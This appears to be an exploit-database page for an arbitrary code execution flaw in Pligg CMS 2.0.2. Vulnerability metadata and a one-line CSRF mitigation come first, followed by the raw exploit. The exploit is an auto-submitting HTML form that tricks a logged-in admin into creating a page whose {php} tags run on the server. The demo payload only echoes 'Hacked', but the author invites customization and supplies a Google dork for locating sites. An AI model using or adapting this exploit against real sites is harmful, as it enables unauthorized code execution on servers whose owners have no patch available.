Pligg CMS Arbitrary Code Execution

vendor:

Pligg CMS

by:

Arash Khazaei

7,5

CVSS

HIGH

Arbitrary Code Execution

CWE

Product Name: Pligg CMS

Affected Version From: 2.0.2

Affected Version To: 2.0.2

Patch Exists: NO

Related CWE: N/A

CPE: a:pligg:pligg_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kali, Iceweasel Browser

2015

Pligg CMS Arbitrary Code Execution

Pligg CMS is a CMS written in PHP language and licensed under GPL v 2.0. In Pligg CMS panel in adding page section, Pligg CMS allows the admin to add PHP codes in {php} {/php} tags. A CSRF vulnerability in adding page section allows the attacker to execute PHP codes on the server. In this exploit, a 'echo '<h1> Hacked </h1>';' code is added. After the HTML file is executed, the page can be accessed at http://localhost/pligg-cms/page.php?page=Hacked.

Mitigation:

Ensure that the application is not vulnerable to CSRF attacks.

Source

Exploit-DB raw data:

<!--
# Exploit Title: Pligg CMS Arbitrary Code Execution
# Google Dork: intext:"Made wtih Pligg CMS"
# Date: 2015/8/20
# Exploit Author: Arash Khazaei
# Vendor Homepage: http://pligg.com
# Software Link:
https://github.com/Pligg/pligg-cms/releases/download/2.0.2/2.0.2.zip
# Version: 2.0.2
# Tested on: Kali , Iceweasel Browser
# CVE : N/A
# Contact : http://twitter.com/0xClay
# Mail : 0xclay@gmail.com
# Site : http://bhunter.ir

# Description :

# Pligg CMS Is A CMS Writed In PHP Language And Licensed Under GPL V 2.0
# In Pligg CMS Panel In Adding Page Section Pligg CMS Allow To Admin Add
PHP Codes In {php} {/php} Tags
# A CSRF Vulnerabilty In Adding Page Section Allow To Attacker To Execute
PHP Codes On Server .
# In This Exploit I Just Added a echo '<h1> Hacked </h1>'; Code You Can
Customize Exploit For Your Self .

# Exploit :
-->

<html>
<body onload="document.exploit.submit();">
<form action="http://localhost/pligg-cms/admin/submit_page.php"
method="POST" id="thisform" name="exploit">
<input type="hidden" name="page_title" id="page_title"
size="66"value="Hacked"/>
<input type="hidden" name="page_url" id="page_url" size="66"
value="Hacked"/>
<input type="hidden" name="page_keywords" id="page_keywords" size="66"
value="Hacked"/>
<input type="hidden" name="page_description" id="page_description"
size="66" value="Hacked"/>
<textarea type="hidden"id="textarea-1" name="page_content"
class="form-control page_content" rows="15"> {php}echo '<h1> Hacked </h1>';
{/php} &lt;/textarea&gt;
<input type="hidden" name="process" value="new_page" />
<input type="hidden" name="randkey" value="12412532" />
</form>
</body>
</html>

<!--
# After HTML File Executed You Can Access Page In
http://localhost/pligg-cms/page.php?page=Hacked


# Discovered By Arash Khazaei . (Aka JunkyBoy (Nick Name Changed :P ))
-->